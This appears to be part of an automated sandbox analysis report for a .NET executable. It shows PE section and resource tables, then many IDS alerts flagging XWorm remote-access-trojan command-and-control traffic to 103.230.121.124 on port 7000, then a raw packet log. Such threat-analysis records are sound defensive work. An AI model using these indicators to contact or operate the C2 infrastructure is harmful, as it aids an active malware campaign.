.rsrc	0x14000	0x5abda	0x5ac00	f9a01a8dd066ec89a1da125de87bc9cb	False	0.0315217157369146	data	2.176526481551807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x70000	0xc	0x200	aeb523c786010dcdf9d7d6feb41615b6	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x14220	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144, resolution 2835 x 2835 px/m	0.02073039027132586
RT_ICON	0x56248	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2835 x 2835 px/m	0.2632978723404255
RT_ICON	0x566b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2835 x 2835 px/m	0.09398340248962656
RT_ICON	0x58c58	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2835 x 2835 px/m	0.15806754221388367
RT_ICON	0x59d00	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 2835 x 2835 px/m	0.03714657518040932
RT_ICON	0x6a528	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 2835 x 2835 px/m	0.07345299952763344
RT_GROUP_ICON	0x6e750	0x5a	data	0.7111111111111111
RT_VERSION	0x6e7ac	0x244	data	0.4724137931034483
RT_MANIFEST	0x6e9f0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-29T15:20:14.029990+0100	2853192	ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:20:15.306150+0100	2853191	ETPRO MALWARE Win32/XWorm V3 CnC Command - savePlugin Inbound	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:15.806058+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:15.806058+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:15.926061+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:15.926061+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.046078+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.046078+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.166168+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.166168+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.287698+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.287698+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.408129+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.408129+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.528343+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.528343+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.648418+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.648418+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.888810+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:16.888810+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.009313+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.009313+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.132028+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.132028+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.252230+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.252230+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.376092+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.376092+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.496165+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.496165+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.660928+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.660928+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.781033+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.781033+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.901100+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:17.901100+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.021425+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.021425+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.141579+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.141579+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.262076+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.262076+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.424695+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.424695+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.545159+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.545159+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.665339+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.665339+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.786270+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.786270+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.906505+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.906505+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.966388+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:18.966388+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.086730+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.086730+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.206697+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.206697+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.327415+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.327415+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.447502+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.447502+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.567736+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.567736+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.785059+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.785059+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.905186+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:19.905186+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.025248+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.025248+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.145348+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.145348+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.265461+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.265461+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.381652+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.381652+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.501705+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.501705+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.622209+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.622209+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.696552+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49829	TCP
2024-11-29T15:20:20.696654+0100	2852873	ETPRO MALWARE Win32/XWorm CnC PING Command Outbound M2	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:20.696654+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49829	103.230.121.124	7000	TCP
2024-11-29T15:20:22.535915+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:22.539252+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:20:28.820631+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:28.820631+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:35.886539+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:20:36.482297+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:36.485506+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:20:50.495112+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:50.497403+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:20:58.830595+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:20:58.830595+0100	2852874	ETPRO MALWARE Win32/XWorm CnC PING Command Inbound M2	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:21:04.426499+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:21:04.428611+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49806	103.230.121.124	7000	TCP
2024-11-29T15:21:19.403961+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	103.230.121.124	7000	192.168.2.7	49806	TCP
2024-11-29T15:21:19.404980+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.7	49806	103.230.121.124	7000	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 15:19:07.520509958 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:19:07.641268015 CET	80	49699	208.95.112.1	192.168.2.7
Nov 29, 2024 15:19:07.641506910 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:19:07.642568111 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:19:07.762531042 CET	80	49699	208.95.112.1	192.168.2.7
Nov 29, 2024 15:19:08.820662022 CET	80	49699	208.95.112.1	192.168.2.7
Nov 29, 2024 15:19:08.870121002 CET	49699	80	192.168.2.7	208.95.112.1
Nov 29, 2024 15:20:07.819600105 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:07.939563990 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:07.939717054 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:07.981110096 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:08.101178885 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:14.001868963 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:14.029989958 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:14.149975061 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306149960 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306179047 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306190014 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306302071 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.306335926 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306346893 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306358099 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306369066 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306389093 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.306430101 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.306559086 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306571007 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.306600094 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.314579010 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.314639091 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.516742945 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.516767979 CET	7000	49806	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.516870975 CET	49806	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.560072899 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.680238962 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.680325031 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.685782909 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.805999994 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.806057930 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:15.925942898 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:15.926060915 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.046024084 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.046077967 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.166099072 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.166167974 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.287619114 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.287698030 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.408025026 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.408128977 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.528290987 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.528342962 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.648343086 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.648417950 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.768445015 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.768563986 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:16.888705969 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:16.888809919 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.009052038 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.009313107 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.129343033 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.132028103 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.252152920 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.252229929 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.372273922 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.376091957 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.496104002 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.496165037 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.524610996 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.573647976 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.613174915 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.660739899 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.660928011 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.733374119 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.733532906 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.733648062 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.733798981 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.733886003 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.733896017 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.780916929 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.781033039 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:17.901042938 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:17.901099920 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.021142006 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.021425009 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.141469955 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.141578913 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.261837959 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.262075901 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.296545029 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.339380026 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.346810102 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.424562931 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.424695015 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.467293978 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.467335939 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.545063019 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.545159101 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.665245056 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.665338993 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.786140919 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.786269903 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.906361103 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.906505108 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:18.966221094 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:18.966387987 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.003371954 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.026587963 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.086668015 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.086730003 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.123574018 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.123707056 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.123763084 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.123836040 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.123886108 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.206629992 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.206696987 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.326960087 CET	7000	49829	103.230.121.124	192.168.2.7
Nov 29, 2024 15:20:19.327414989 CET	49829	7000	192.168.2.7	103.230.121.124
Nov 29, 2024 15:20:19.447408915 CET	7000	49829	103.230.121.124	192.168.2.7
